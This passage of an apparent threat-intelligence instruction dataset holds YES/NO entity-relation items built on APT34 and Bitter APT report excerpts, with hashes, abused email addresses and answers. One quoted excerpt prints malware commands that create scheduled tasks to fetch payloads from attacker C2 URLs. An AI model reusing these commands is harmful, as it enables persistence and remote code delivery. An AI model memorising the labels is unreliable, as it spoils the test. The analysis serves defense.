and monitoring the abuse of this threat to determine the depth and breadth of this compromise.\nIndicators of Compromise (IOCs)\nSHA256 File name Detection\n---------\n5ed7ebc339af6ca6a5d1b9b45db6b3ae00232d9ccd80d5fcadf7680320bd4e6b DevicesSrv.exe Backdoor.MSIL.REDCAP.A\n827366355c6429a7fe12d111e240c5bcec3ed61e717fb84ea8b771672dd1f88e psgfilter.dll Trojan.Win64.REDCAP.AF\nEmails abused\n* Jaqueline.Herrera@proton.me\n* Ciara.Stoneburner@proton.me\n* marsha.fischer556@gmail.com\n* Kathryn.Firkins@proton.me\n* Susan.potts454@proton.me\n* Earl.butler945@gmail.com\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAPT34\n### Target Entity: Saitama\n### Text Passage:\nAttribution Analysis\nThere are several data points and indicators that suggest APT34 carried out this attack, and that this group is still active in targeting countries in the Middle East with a special focus on compromising government entities.\n**1\\. The first stage dropper**\nThe first stage dropper between the Saitama backdoor and this new operation\u2019s first stage .Net dropper have a few similarities. Despite the dated Saitama operation\u2019s first stage dropper, a VBA macro that drops the actual .Net backdoor Saitama malware, the new attack implemented in the group\u2019s latest deployment is a .Net dropper that drops the actual malware. Both deployments\u2019 final stages leverage EWS\u2019 Managed API (Microsoft.Exchange.WenServices.dll).\nFigure 17. Saitama backdoor\u2019s first stage dropper (left), and the dropped files for the new APT34 .Net backdoor in the first stage (right)\n**2\\. Leveraging exchange servers for communications (Uni- and bidirectional)**\nBoth this campaign and the Karkoff campaign made use of targeted exchange servers and relayed communications through it. In the previous campaign, this was reportedly done with the deployment of the Karkoff implant. The old Karkoff sample attributed to APT34 share a common functionality for abusing the EWS API.\nFigure 18. The Karkoff implant leveraging EWS (top), and the newer APT34 backdoor\u2019s use of EWS (bottom)\n**3\\. The victim targeted**\nAPT34 has been documented for targeting countries in the Middle East. In a previous campaign analyzed by Yoroi Labs, the Karkoff sample (SHA256: 1f47770cc42ac8805060004f203a5f537b7473a36ff41eabb746900b2fa24cc8) attributed to APT34 has the mail server domain hardcoded inside the sample. Alongside the target mail recipient the attackers receive information from is the same hardcoded mail server domain found in the latest backdoor, including the targeted Exchange Server for a government ministry. Both samples included some hardcoded credentials as well. However, the newer backdoor includes support for stealing the _new_ passwords of previously compromised users who changed their passwords, ensuring their legitimate accounts stay compromised.\nFigure 19. Karkoff implant targeting an army mail server in 2020 (top), and the newer APT backdoor targeting another mail server in 2023 (bottom)\nConclusions\nAt first glance, security teams can mistakenly tag the sample as safe or as a benign activity given the validity of the domains and mail credentials. It will take more experienced analysts to see that the domains abused is part of a bigger active directory domain \u201cforest\u201d, which share a trust relationship with each other to allow different government ministries or agencies to communicate. Considering we found a compromised account from one entity inside a sample sourced from a different agency indicates APT34 now has a deep foothold in the government domain forest.\nFollowing the stages executed, APT34\u2019s repeated use of the Saitama backdoor technique in the first stage indicates a confidence that even the dated malware\u2019s technique will continue to work and initiate compromise.\nThe next stages for exfiltrating data, however, are considerably new and are considered exploratory for the group. Despite the routine's simplicity, the novelty of the second and last stages also indicate that this entire routine can just be a small part of a bigger campaign targeting governments. We continue tracking and monitoring the abuse of this threat to determine the depth and breadth of this compromise.\nIndicators of Compromise (IOCs)\nSHA256 File name Detection\n---------\n5ed7ebc339af6ca6a5d1b9b45db6b3ae00232d9ccd80d5fcadf7680320bd4e6b DevicesSrv.exe Backdoor.MSIL.REDCAP.A\n827366355c6429a7fe12d111e240c5bcec3ed61e717fb84ea8b771672dd1f88e psgfilter.dll Trojan.Win64.REDCAP.AF\nEmails abused\n* Jaqueline.Herrera@proton.me\n* Ciara.Stoneburner@proton.me\n* marsha.fischer556@gmail.com\n* Kathryn.Firkins@proton.me\n* Susan.potts454@proton.me\n* Earl.butler945@gmail.com\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAPT34\n### Target Entity: Karkoff\n### Text Passage:\nAttribution Analysis\nThere are several data points and indicators that suggest APT34 carried out this attack, and that this group is still active in targeting countries in the Middle East with a special focus on compromising government entities.\n**1\\. The first stage dropper**\nThe first stage dropper between the Saitama backdoor and this new operation\u2019s first stage .Net dropper have a few similarities. Despite the dated Saitama operation\u2019s first stage dropper, a VBA macro that drops the actual .Net backdoor Saitama malware, the new attack implemented in the group\u2019s latest deployment is a .Net dropper that drops the actual malware. Both deployments\u2019 final stages leverage EWS\u2019 Managed API (Microsoft.Exchange.WenServices.dll).\nFigure 17. Saitama backdoor\u2019s first stage dropper (left), and the dropped files for the new APT34 .Net backdoor in the first stage (right)\n**2\\. Leveraging exchange servers for communications (Uni- and bidirectional)**\nBoth this campaign and the Karkoff campaign made use of targeted exchange servers and relayed communications through it. In the previous campaign, this was reportedly done with the deployment of the Karkoff implant. The old Karkoff sample attributed to APT34 share a common functionality for abusing the EWS API.\nFigure 18. The Karkoff implant leveraging EWS (top), and the newer APT34 backdoor\u2019s use of EWS (bottom)\n**3\\. The victim targeted**\nAPT34 has been documented for targeting countries in the Middle East. In a previous campaign analyzed by Yoroi Labs, the Karkoff sample (SHA256: 1f47770cc42ac8805060004f203a5f537b7473a36ff41eabb746900b2fa24cc8) attributed to APT34 has the mail server domain hardcoded inside the sample. Alongside the target mail recipient the attackers receive information from is the same hardcoded mail server domain found in the latest backdoor, including the targeted Exchange Server for a government ministry. Both samples included some hardcoded credentials as well. However, the newer backdoor includes support for stealing the _new_ passwords of previously compromised users who changed their passwords, ensuring their legitimate accounts stay compromised.\nFigure 19. Karkoff implant targeting an army mail server in 2020 (top), and the newer APT backdoor targeting another mail server in 2023 (bottom)\nConclusions\nAt first glance, security teams can mistakenly tag the sample as safe or as a benign activity given the validity of the domains and mail credentials. It will take more experienced analysts to see that the domains abused is part of a bigger active directory domain \u201cforest\u201d, which share a trust relationship with each other to allow different government ministries or agencies to communicate. Considering we found a compromised account from one entity inside a sample sourced from a different agency indicates APT34 now has a deep foothold in the government domain forest.\nFollowing the stages executed, APT34\u2019s repeated use of the Saitama backdoor technique in the first stage indicates a confidence that even the dated malware\u2019s technique will continue to work and initiate compromise.\nThe next stages for exfiltrating data, however, are considerably new and are considered exploratory for the group. Despite the routine's simplicity, the novelty of the second and last stages also indicate that this entire routine can just be a small part of a bigger campaign targeting governments. We continue tracking and monitoring the abuse of this threat to determine the depth and breadth of this compromise.\nIndicators of Compromise (IOCs)\nSHA256 File name Detection\n---------\n5ed7ebc339af6ca6a5d1b9b45db6b3ae00232d9ccd80d5fcadf7680320bd4e6b DevicesSrv.exe Backdoor.MSIL.REDCAP.A\n827366355c6429a7fe12d111e240c5bcec3ed61e717fb84ea8b771672dd1f88e psgfilter.dll Trojan.Win64.REDCAP.AF\nEmails abused\n* Jaqueline.Herrera@proton.me\n* Ciara.Stoneburner@proton.me\n* marsha.fischer556@gmail.com\n* Kathryn.Firkins@proton.me\n* Susan.potts454@proton.me\n* Earl.butler945@gmail.com\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAPT34\n### Target Entity: .Net\n### Text Passage:\nAttribution Analysis\nThere are several data points and indicators that suggest APT34 carried out this attack, and that this group is still active in targeting countries in the Middle East with a special focus on compromising government entities.\n**1\\. The first stage dropper**\nThe first stage dropper between the Saitama backdoor and this new operation\u2019s first stage .Net dropper have a few similarities. Despite the dated Saitama operation\u2019s first stage dropper, a VBA macro that drops the actual .Net backdoor Saitama malware, the new attack implemented in the group\u2019s latest deployment is a .Net dropper that drops the actual malware. Both deployments\u2019 final stages leverage EWS\u2019 Managed API (Microsoft.Exchange.WenServices.dll).\nFigure 17. Saitama backdoor\u2019s first stage dropper (left), and the dropped files for the new APT34 .Net backdoor in the first stage (right)\n**2\\. Leveraging exchange servers for communications (Uni- and bidirectional)**\nBoth this campaign and the Karkoff campaign made use of targeted exchange servers and relayed communications through it. In the previous campaign, this was reportedly done with the deployment of the Karkoff implant. The old Karkoff sample attributed to APT34 share a common functionality for abusing the EWS API.\nFigure 18. The Karkoff implant leveraging EWS (top), and the newer APT34 backdoor\u2019s use of EWS (bottom)\n**3\\. The victim targeted**\nAPT34 has been documented for targeting countries in the Middle East. In a previous campaign analyzed by Yoroi Labs, the Karkoff sample (SHA256: 1f47770cc42ac8805060004f203a5f537b7473a36ff41eabb746900b2fa24cc8) attributed to APT34 has the mail server domain hardcoded inside the sample. Alongside the target mail recipient the attackers receive information from is the same hardcoded mail server domain found in the latest backdoor, including the targeted Exchange Server for a government ministry. Both samples included some hardcoded credentials as well. However, the newer backdoor includes support for stealing the _new_ passwords of previously compromised users who changed their passwords, ensuring their legitimate accounts stay compromised.\nFigure 19. Karkoff implant targeting an army mail server in 2020 (top), and the newer APT backdoor targeting another mail server in 2023 (bottom)\nConclusions\nAt first glance, security teams can mistakenly tag the sample as safe or as a benign activity given the validity of the domains and mail credentials. It will take more experienced analysts to see that the domains abused is part of a bigger active directory domain \u201cforest\u201d, which share a trust relationship with each other to allow different government ministries or agencies to communicate. Considering we found a compromised account from one entity inside a sample sourced from a different agency indicates APT34 now has a deep foothold in the government domain forest.\nFollowing the stages executed, APT34\u2019s repeated use of the Saitama backdoor technique in the first stage indicates a confidence that even the dated malware\u2019s technique will continue to work and initiate compromise.\nThe next stages for exfiltrating data, however, are considerably new and are considered exploratory for the group. Despite the routine's simplicity, the novelty of the second and last stages also indicate that this entire routine can just be a small part of a bigger campaign targeting governments. We continue tracking and monitoring the abuse of this threat to determine the depth and breadth of this compromise.\nIndicators of Compromise (IOCs)\nSHA256 File name Detection\n---------\n5ed7ebc339af6ca6a5d1b9b45db6b3ae00232d9ccd80d5fcadf7680320bd4e6b DevicesSrv.exe Backdoor.MSIL.REDCAP.A\n827366355c6429a7fe12d111e240c5bcec3ed61e717fb84ea8b771672dd1f88e psgfilter.dll Trojan.Win64.REDCAP.AF\nEmails abused\n* Jaqueline.Herrera@proton.me\n* Ciara.Stoneburner@proton.me\n* marsha.fischer556@gmail.com\n* Kathryn.Firkins@proton.me\n* Susan.potts454@proton.me\n* Earl.butler945@gmail.com\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\npsgfilter.dll\n### Target Entity: Win64.REDCAP.AF\n### Text Passage:\nAttribution Analysis\nThere are several data points and indicators that suggest APT34 carried out this attack, and that this group is still active in targeting countries in the Middle East with a special focus on compromising government entities.\n**1\\. The first stage dropper**\nThe first stage dropper between the Saitama backdoor and this new operation\u2019s first stage .Net dropper have a few similarities. Despite the dated Saitama operation\u2019s first stage dropper, a VBA macro that drops the actual .Net backdoor Saitama malware, the new attack implemented in the group\u2019s latest deployment is a .Net dropper that drops the actual malware. Both deployments\u2019 final stages leverage EWS\u2019 Managed API (Microsoft.Exchange.WenServices.dll).\nFigure 17. Saitama backdoor\u2019s first stage dropper (left), and the dropped files for the new APT34 .Net backdoor in the first stage (right)\n**2\\. Leveraging exchange servers for communications (Uni- and bidirectional)**\nBoth this campaign and the Karkoff campaign made use of targeted exchange servers and relayed communications through it. In the previous campaign, this was reportedly done with the deployment of the Karkoff implant. The old Karkoff sample attributed to APT34 share a common functionality for abusing the EWS API.\nFigure 18. The Karkoff implant leveraging EWS (top), and the newer APT34 backdoor\u2019s use of EWS (bottom)\n**3\\. The victim targeted**\nAPT34 has been documented for targeting countries in the Middle East. In a previous campaign analyzed by Yoroi Labs, the Karkoff sample (SHA256: 1f47770cc42ac8805060004f203a5f537b7473a36ff41eabb746900b2fa24cc8) attributed to APT34 has the mail server domain hardcoded inside the sample. Alongside the target mail recipient the attackers receive information from is the same hardcoded mail server domain found in the latest backdoor, including the targeted Exchange Server for a government ministry. Both samples included some hardcoded credentials as well. However, the newer backdoor includes support for stealing the _new_ passwords of previously compromised users who changed their passwords, ensuring their legitimate accounts stay compromised.\nFigure 19. Karkoff implant targeting an army mail server in 2020 (top), and the newer APT backdoor targeting another mail server in 2023 (bottom)\nConclusions\nAt first glance, security teams can mistakenly tag the sample as safe or as a benign activity given the validity of the domains and mail credentials. It will take more experienced analysts to see that the domains abused is part of a bigger active directory domain \u201cforest\u201d, which share a trust relationship with each other to allow different government ministries or agencies to communicate. Considering we found a compromised account from one entity inside a sample sourced from a different agency indicates APT34 now has a deep foothold in the government domain forest.\nFollowing the stages executed, APT34\u2019s repeated use of the Saitama backdoor technique in the first stage indicates a confidence that even the dated malware\u2019s technique will continue to work and initiate compromise.\nThe next stages for exfiltrating data, however, are considerably new and are considered exploratory for the group. Despite the routine's simplicity, the novelty of the second and last stages also indicate that this entire routine can just be a small part of a bigger campaign targeting governments. We continue tracking and monitoring the abuse of this threat to determine the depth and breadth of this compromise.\nIndicators of Compromise (IOCs)\nSHA256 File name Detection\n---------\n5ed7ebc339af6ca6a5d1b9b45db6b3ae00232d9ccd80d5fcadf7680320bd4e6b DevicesSrv.exe Backdoor.MSIL.REDCAP.A\n827366355c6429a7fe12d111e240c5bcec3ed61e717fb84ea8b771672dd1f88e psgfilter.dll Trojan.Win64.REDCAP.AF\nEmails abused\n* Jaqueline.Herrera@proton.me\n* Ciara.Stoneburner@proton.me\n* marsha.fischer556@gmail.com\n* Kathryn.Firkins@proton.me\n* Susan.potts454@proton.me\n* Earl.butler945@gmail.com\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAPT34\n### Target Entity: .Net backdoor\n### Text Passage:\nAttribution Analysis\nThere are several data points and indicators that suggest APT34 carried out this attack, and that this group is still active in targeting countries in the Middle East with a special focus on compromising government entities.\n**1\\. The first stage dropper**\nThe first stage dropper between the Saitama backdoor and this new operation\u2019s first stage .Net dropper have a few similarities. Despite the dated Saitama operation\u2019s first stage dropper, a VBA macro that drops the actual .Net backdoor Saitama malware, the new attack implemented in the group\u2019s latest deployment is a .Net dropper that drops the actual malware. Both deployments\u2019 final stages leverage EWS\u2019 Managed API (Microsoft.Exchange.WenServices.dll).\nFigure 17. Saitama backdoor\u2019s first stage dropper (left), and the dropped files for the new APT34 .Net backdoor in the first stage (right)\n**2\\. Leveraging exchange servers for communications (Uni- and bidirectional)**\nBoth this campaign and the Karkoff campaign made use of targeted exchange servers and relayed communications through it. In the previous campaign, this was reportedly done with the deployment of the Karkoff implant. The old Karkoff sample attributed to APT34 share a common functionality for abusing the EWS API.\nFigure 18. The Karkoff implant leveraging EWS (top), and the newer APT34 backdoor\u2019s use of EWS (bottom)\n**3\\. The victim targeted**\nAPT34 has been documented for targeting countries in the Middle East. In a previous campaign analyzed by Yoroi Labs, the Karkoff sample (SHA256: 1f47770cc42ac8805060004f203a5f537b7473a36ff41eabb746900b2fa24cc8) attributed to APT34 has the mail server domain hardcoded inside the sample. Alongside the target mail recipient the attackers receive information from is the same hardcoded mail server domain found in the latest backdoor, including the targeted Exchange Server for a government ministry. Both samples included some hardcoded credentials as well. However, the newer backdoor includes support for stealing the _new_ passwords of previously compromised users who changed their passwords, ensuring their legitimate accounts stay compromised.\nFigure 19. Karkoff implant targeting an army mail server in 2020 (top), and the newer APT backdoor targeting another mail server in 2023 (bottom)\nConclusions\nAt first glance, security teams can mistakenly tag the sample as safe or as a benign activity given the validity of the domains and mail credentials. It will take more experienced analysts to see that the domains abused is part of a bigger active directory domain \u201cforest\u201d, which share a trust relationship with each other to allow different government ministries or agencies to communicate. Considering we found a compromised account from one entity inside a sample sourced from a different agency indicates APT34 now has a deep foothold in the government domain forest.\nFollowing the stages executed, APT34\u2019s repeated use of the Saitama backdoor technique in the first stage indicates a confidence that even the dated malware\u2019s technique will continue to work and initiate compromise.\nThe next stages for exfiltrating data, however, are considerably new and are considered exploratory for the group. Despite the routine's simplicity, the novelty of the second and last stages also indicate that this entire routine can just be a small part of a bigger campaign targeting governments. We continue tracking and monitoring the abuse of this threat to determine the depth and breadth of this compromise.\nIndicators of Compromise (IOCs)\nSHA256 File name Detection\n---------\n5ed7ebc339af6ca6a5d1b9b45db6b3ae00232d9ccd80d5fcadf7680320bd4e6b DevicesSrv.exe Backdoor.MSIL.REDCAP.A\n827366355c6429a7fe12d111e240c5bcec3ed61e717fb84ea8b771672dd1f88e psgfilter.dll Trojan.Win64.REDCAP.AF\nEmails abused\n* Jaqueline.Herrera@proton.me\n* Ciara.Stoneburner@proton.me\n* marsha.fischer556@gmail.com\n* Kathryn.Firkins@proton.me\n* Susan.potts454@proton.me\n* Earl.butler945@gmail.com\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAPT34\n### Target Entity: EWS\n### Text Passage:\nAttribution Analysis\nThere are several data points and indicators that suggest APT34 carried out this attack, and that this group is still active in targeting countries in the Middle East with a special focus on compromising government entities.\n**1\\. The first stage dropper**\nThe first stage dropper between the Saitama backdoor and this new operation\u2019s first stage .Net dropper have a few similarities. Despite the dated Saitama operation\u2019s first stage dropper, a VBA macro that drops the actual .Net backdoor Saitama malware, the new attack implemented in the group\u2019s latest deployment is a .Net dropper that drops the actual malware. Both deployments\u2019 final stages leverage EWS\u2019 Managed API (Microsoft.Exchange.WenServices.dll).\nFigure 17. Saitama backdoor\u2019s first stage dropper (left), and the dropped files for the new APT34 .Net backdoor in the first stage (right)\n**2\\. Leveraging exchange servers for communications (Uni- and bidirectional)**\nBoth this campaign and the Karkoff campaign made use of targeted exchange servers and relayed communications through it. In the previous campaign, this was reportedly done with the deployment of the Karkoff implant. The old Karkoff sample attributed to APT34 share a common functionality for abusing the EWS API.\nFigure 18. The Karkoff implant leveraging EWS (top), and the newer APT34 backdoor\u2019s use of EWS (bottom)\n**3\\. The victim targeted**\nAPT34 has been documented for targeting countries in the Middle East. In a previous campaign analyzed by Yoroi Labs, the Karkoff sample (SHA256: 1f47770cc42ac8805060004f203a5f537b7473a36ff41eabb746900b2fa24cc8) attributed to APT34 has the mail server domain hardcoded inside the sample. Alongside the target mail recipient the attackers receive information from is the same hardcoded mail server domain found in the latest backdoor, including the targeted Exchange Server for a government ministry. Both samples included some hardcoded credentials as well. However, the newer backdoor includes support for stealing the _new_ passwords of previously compromised users who changed their passwords, ensuring their legitimate accounts stay compromised.\nFigure 19. Karkoff implant targeting an army mail server in 2020 (top), and the newer APT backdoor targeting another mail server in 2023 (bottom)\nConclusions\nAt first glance, security teams can mistakenly tag the sample as safe or as a benign activity given the validity of the domains and mail credentials. It will take more experienced analysts to see that the domains abused is part of a bigger active directory domain \u201cforest\u201d, which share a trust relationship with each other to allow different government ministries or agencies to communicate. Considering we found a compromised account from one entity inside a sample sourced from a different agency indicates APT34 now has a deep foothold in the government domain forest.\nFollowing the stages executed, APT34\u2019s repeated use of the Saitama backdoor technique in the first stage indicates a confidence that even the dated malware\u2019s technique will continue to work and initiate compromise.\nThe next stages for exfiltrating data, however, are considerably new and are considered exploratory for the group. Despite the routine's simplicity, the novelty of the second and last stages also indicate that this entire routine can just be a small part of a bigger campaign targeting governments. We continue tracking and monitoring the abuse of this threat to determine the depth and breadth of this compromise.\nIndicators of Compromise (IOCs)\nSHA256 File name Detection\n---------\n5ed7ebc339af6ca6a5d1b9b45db6b3ae00232d9ccd80d5fcadf7680320bd4e6b DevicesSrv.exe Backdoor.MSIL.REDCAP.A\n827366355c6429a7fe12d111e240c5bcec3ed61e717fb84ea8b771672dd1f88e psgfilter.dll Trojan.Win64.REDCAP.AF\nEmails abused\n* Jaqueline.Herrera@proton.me\n* Ciara.Stoneburner@proton.me\n* marsha.fischer556@gmail.com\n* Kathryn.Firkins@proton.me\n* Susan.potts454@proton.me\n* Earl.butler945@gmail.com\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nSaitama\n### Target Entity: .Net backdoor\n### Text Passage:\nAttribution Analysis\nThere are several data points and indicators that suggest APT34 carried out this attack, and that this group is still active in targeting countries in the Middle East with a special focus on compromising government entities.\n**1\\. The first stage dropper**\nThe first stage dropper between the Saitama backdoor and this new operation\u2019s first stage .Net dropper have a few similarities. Despite the dated Saitama operation\u2019s first stage dropper, a VBA macro that drops the actual .Net backdoor Saitama malware, the new attack implemented in the group\u2019s latest deployment is a .Net dropper that drops the actual malware. Both deployments\u2019 final stages leverage EWS\u2019 Managed API (Microsoft.Exchange.WenServices.dll).\nFigure 17. Saitama backdoor\u2019s first stage dropper (left), and the dropped files for the new APT34 .Net backdoor in the first stage (right)\n**2\\. Leveraging exchange servers for communications (Uni- and bidirectional)**\nBoth this campaign and the Karkoff campaign made use of targeted exchange servers and relayed communications through it. In the previous campaign, this was reportedly done with the deployment of the Karkoff implant. The old Karkoff sample attributed to APT34 share a common functionality for abusing the EWS API.\nFigure 18. The Karkoff implant leveraging EWS (top), and the newer APT34 backdoor\u2019s use of EWS (bottom)\n**3\\. The victim targeted**\nAPT34 has been documented for targeting countries in the Middle East. In a previous campaign analyzed by Yoroi Labs, the Karkoff sample (SHA256: 1f47770cc42ac8805060004f203a5f537b7473a36ff41eabb746900b2fa24cc8) attributed to APT34 has the mail server domain hardcoded inside the sample. Alongside the target mail recipient the attackers receive information from is the same hardcoded mail server domain found in the latest backdoor, including the targeted Exchange Server for a government ministry. Both samples included some hardcoded credentials as well. However, the newer backdoor includes support for stealing the _new_ passwords of previously compromised users who changed their passwords, ensuring their legitimate accounts stay compromised.\nFigure 19. Karkoff implant targeting an army mail server in 2020 (top), and the newer APT backdoor targeting another mail server in 2023 (bottom)\nConclusions\nAt first glance, security teams can mistakenly tag the sample as safe or as a benign activity given the validity of the domains and mail credentials. It will take more experienced analysts to see that the domains abused is part of a bigger active directory domain \u201cforest\u201d, which share a trust relationship with each other to allow different government ministries or agencies to communicate. Considering we found a compromised account from one entity inside a sample sourced from a different agency indicates APT34 now has a deep foothold in the government domain forest.\nFollowing the stages executed, APT34\u2019s repeated use of the Saitama backdoor technique in the first stage indicates a confidence that even the dated malware\u2019s technique will continue to work and initiate compromise.\nThe next stages for exfiltrating data, however, are considerably new and are considered exploratory for the group. Despite the routine's simplicity, the novelty of the second and last stages also indicate that this entire routine can just be a small part of a bigger campaign targeting governments. We continue tracking and monitoring the abuse of this threat to determine the depth and breadth of this compromise.\nIndicators of Compromise (IOCs)\nSHA256 File name Detection\n---------\n5ed7ebc339af6ca6a5d1b9b45db6b3ae00232d9ccd80d5fcadf7680320bd4e6b DevicesSrv.exe Backdoor.MSIL.REDCAP.A\n827366355c6429a7fe12d111e240c5bcec3ed61e717fb84ea8b771672dd1f88e psgfilter.dll Trojan.Win64.REDCAP.AF\nEmails abused\n* Jaqueline.Herrera@proton.me\n* Ciara.Stoneburner@proton.me\n* marsha.fischer556@gmail.com\n* Kathryn.Firkins@proton.me\n* Susan.potts454@proton.me\n* Earl.butler945@gmail.com\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\n5ed7ebc339af6ca6a5d1b9b45db6b3ae00232d9ccd80d5fcadf7680320bd4e6b\n### Target Entity: psgfilter.dll\n### Text Passage:\nAttribution Analysis\nThere are several data points and indicators that suggest APT34 carried out this attack, and that this group is still active in targeting countries in the Middle East with a special focus on compromising government entities.\n**1\\. The first stage dropper**\nThe first stage dropper between the Saitama backdoor and this new operation\u2019s first stage .Net dropper have a few similarities. Despite the dated Saitama operation\u2019s first stage dropper, a VBA macro that drops the actual .Net backdoor Saitama malware, the new attack implemented in the group\u2019s latest deployment is a .Net dropper that drops the actual malware. Both deployments\u2019 final stages leverage EWS\u2019 Managed API (Microsoft.Exchange.WenServices.dll).\nFigure 17. Saitama backdoor\u2019s first stage dropper (left), and the dropped files for the new APT34 .Net backdoor in the first stage (right)\n**2\\. Leveraging exchange servers for communications (Uni- and bidirectional)**\nBoth this campaign and the Karkoff campaign made use of targeted exchange servers and relayed communications through it. In the previous campaign, this was reportedly done with the deployment of the Karkoff implant. The old Karkoff sample attributed to APT34 share a common functionality for abusing the EWS API.\nFigure 18. The Karkoff implant leveraging EWS (top), and the newer APT34 backdoor\u2019s use of EWS (bottom)\n**3\\. The victim targeted**\nAPT34 has been documented for targeting countries in the Middle East. In a previous campaign analyzed by Yoroi Labs, the Karkoff sample (SHA256: 1f47770cc42ac8805060004f203a5f537b7473a36ff41eabb746900b2fa24cc8) attributed to APT34 has the mail server domain hardcoded inside the sample. Alongside the target mail recipient the attackers receive information from is the same hardcoded mail server domain found in the latest backdoor, including the targeted Exchange Server for a government ministry. Both samples included some hardcoded credentials as well. However, the newer backdoor includes support for stealing the _new_ passwords of previously compromised users who changed their passwords, ensuring their legitimate accounts stay compromised.\nFigure 19. Karkoff implant targeting an army mail server in 2020 (top), and the newer APT backdoor targeting another mail server in 2023 (bottom)\nConclusions\nAt first glance, security teams can mistakenly tag the sample as safe or as a benign activity given the validity of the domains and mail credentials. It will take more experienced analysts to see that the domains abused is part of a bigger active directory domain \u201cforest\u201d, which share a trust relationship with each other to allow different government ministries or agencies to communicate. Considering we found a compromised account from one entity inside a sample sourced from a different agency indicates APT34 now has a deep foothold in the government domain forest.\nFollowing the stages executed, APT34\u2019s repeated use of the Saitama backdoor technique in the first stage indicates a confidence that even the dated malware\u2019s technique will continue to work and initiate compromise.\nThe next stages for exfiltrating data, however, are considerably new and are considered exploratory for the group. Despite the routine's simplicity, the novelty of the second and last stages also indicate that this entire routine can just be a small part of a bigger campaign targeting governments. We continue tracking and monitoring the abuse of this threat to determine the depth and breadth of this compromise.\nIndicators of Compromise (IOCs)\nSHA256 File name Detection\n---------\n5ed7ebc339af6ca6a5d1b9b45db6b3ae00232d9ccd80d5fcadf7680320bd4e6b DevicesSrv.exe Backdoor.MSIL.REDCAP.A\n827366355c6429a7fe12d111e240c5bcec3ed61e717fb84ea8b771672dd1f88e psgfilter.dll Trojan.Win64.REDCAP.AF\nEmails abused\n* Jaqueline.Herrera@proton.me\n* Ciara.Stoneburner@proton.me\n* marsha.fischer556@gmail.com\n* Kathryn.Firkins@proton.me\n* Susan.potts454@proton.me\n* Earl.butler945@gmail.com\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\npowershell.exe\n### Target Entity: PowerShell\n### Text Passage:\n### **CHM Files**\nThe more common payloads contained within the RAR files are Microsoft Compiled HTML Help (CHM) files. These can be used to simply execute arbitrary code, in these cases, they are also used to create scheduled tasks for persistence and downloading of the next stage. We have noted multiple versions of these CHM payloads. CHM payloads are useful for the actor as it requires a low amount of user interaction, it does not require a vulnerable version of Microsoft Office installed like the Excel files, and it also uses LZX compression that will bypass static malware analysis solutions that do not decompress the file.\nThe first version of the CHM file will create a scheduled task that will use the living off the land binary msiexec to execute a remote MSI payload from the C2. String concatenation is used to break up the string for obfuscation. The computer name and the username is also sent to the C2.\n```\n\"C:\\Windows\\System32\\schtasks.exe\" /create /sc minute /mo 15 /tn AdobeUpdater /tr \"%coMSPec% /c start /min msiexec /i http://mirzadihatti.com/css/try.php?h=%computername%*%username% /qn /norestart\" /ft\n```\nWe did not fetch any additional payloads from the C2, but we were served empty MSI files, allowing us to discover the names of the next stage payloads.\nFigure 5: Empty payloads served from different C2 servers\nThis may allow the actor to examine the server logs of beaconing infected machines before deciding whether to swap out the empty file with an actual payload if the target looks promising enough, thus protecting the next stage of the attack. Bitter APT do not appear to change their tactics too much, therefore we can assume that the payloads will be similar to those observed in 2021, executing a downloader module that can be served with plugins such as a keylogger, remote access tool, file stealer, or browser credential stealer.\nThe second version of the CHM payload abstracts the same activity through an encoded PowerShell command stage, obfuscating the activity further than just simple string concatenation.\nFigure 6: Encoded PowerShell command in version 2 of the CHM files\nThe decoded command is the following:\n```\nschtasks /create /tn WinSecurity /sc minute /mo 15 /tr \"powershell.exe -WindowStyle Hidden -command curl -o %LOCALAPPDATA%\\pic.jpg https://coauthcn.com/hbz.php?id=%computername%;timeout 9;more %LOCALAPPDATA%\\pic.jpgpowershell;timeout 9;del %LOCALAPPDATA%\\pic.jpg\" /f\n```\nIt is evident that the C2 controllers have been updated also as now only the computer name is sent to the C2 and not the username. What is interesting about the next version is that it now contains a decoy picture when 